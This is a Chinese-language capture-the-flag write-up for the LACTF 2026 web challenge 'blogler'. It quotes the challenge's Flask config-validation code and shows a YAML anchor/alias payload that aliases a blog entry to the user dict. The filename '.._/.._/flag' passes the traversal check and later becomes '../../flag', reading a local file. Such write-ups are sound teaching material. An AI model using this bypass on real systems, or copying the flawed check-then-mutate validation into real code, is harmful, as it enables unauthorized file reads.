本页目录
LACTF 2026 Writeup
Web/blogler
题目允许上传新博客,或直接编辑YAML格式的配置文件:

Python
def display_name(username: str) -> str:
return "".join(p.capitalize() for p in username.split("_"))
def validate_conf(old_cfg: dict, uploaded_conf: str) -> dict | str:
try:
conf = yaml.safe_load(uploaded_conf)
# validate all blog entries
for i, blog in enumerate(conf["blogs"]):
if not isinstance(blog.get("title"), str):
return f"please provide a 'title' to the {i + 1}th blog"
# no lfi
file_name = blog["name"]
assert isinstance(file_name, str)
file_path = (blog_path / file_name).resolve()
if "../" in file_name or file_name.startswith("/") or not file_path.is_relative_to(blog_path):
return f"file path {file_name!r} is a hacking attempt. this incident will be reported"
# recover from missing display name/passwords with sane default of old one
if not isinstance(conf.get("user"), dict):
conf["user"] = dict()
conf["user"]["name"] = display_name(conf["user"].get("name", old_cfg["user"]["name"]))
conf["user"]["password"] = conf["user"].get("password", old_cfg["user"]["password"])
if not isinstance(conf["user"]["password"], str):
return "provide a valid password bro"
return conf
except Exception as e:
return f"exception - {e}"
@app.post("/config")
def update_config():
config = request.form.get("config")
if config is None:
return "give a config..."
if "username" not in session:
return redirect("/login")
validated_config = validate_conf(users[session["username"]], config)
# this means there was an error in validation - return err string
if isinstance(validated_config, str):
return validated_config, 400
# update the user conf if it is valid
users[session["username"]] = validated_config
return redirect("/")
@app.get("/blog/<string:username>")
def serve_blog(username):
if username not in users:
return "username does not exist", 404
blogs = [
{"title": blog["title"], "content": mistune.html((blog_path / blog["name"]).read_text())}
for blog in users[username]["blogs"]
]
return render_template("blog.html", blogs=blogs, name=users[username]["user"]["name"])
本题的需要读取/flag中的flag,需要利用blog["name"]触发(blog_path / blog["name"]).read_text()的LFI漏洞。
通过update_config更新的YAML配置会经过validate_conf的检查,直接在blog["name"]中使用../会被拒绝;本题切入点是,注意到blog(conf["blogs"][i])和conf["user"]都包含name字段,且validate_conf在验证过blog["name"]后,会通过display_name函数删除conf["user"]["name"]中的下划线:
Python
def validate_conf(old_cfg: dict, uploaded_conf: str) -> dict | str:
try:
conf = yaml.safe_load(uploaded_conf)
# validate all blog entries
for i, blog in enumerate(conf["blogs"]):
if not isinstance(blog.get("title"), str):
return f"please provide a 'title' to the {i + 1}th blog"
# no lfi
file_name = blog["name"]
assert isinstance(file_name, str)
file_path = (blog_path / file_name).resolve()
if "../" in file_name or file_name.startswith("/") or not file_path.is_relative_to(blog_path):
return f"file path {file_name!r} is a hacking attempt. this incident will be reported"
# recover from missing display name/passwords with sane default of old one
if not isinstance(conf.get("user"), dict):
conf["user"] = dict()
conf["user"]["name"] = display_name(conf["user"].get("name", old_cfg["user"]["name"]))
conf["user"]["password"] = conf["user"].get("password", old_cfg["user"]["password"])
if not isinstance(conf["user"]["password"], str):
return "provide a valid password bro"
return conf
except Exception as e:
return f"exception - {e}"
利用YAML的别名功能,可以使得conf["blogs"][0]和conf["user"]在解析后指向同一个字典对象:
Plain Text
blogs:
- &id001
name: .._/.._/flag
password: abc
title: Blog Title
- name: abc_blog_3e2256dc5fcaedb0.md
title: Blog Title
user: *id001
此时先验证blog["name"]时.._/.._/flag能够通过验证,随后该属性又在display_name处理后被修改为../../flag,从而实现LFI。
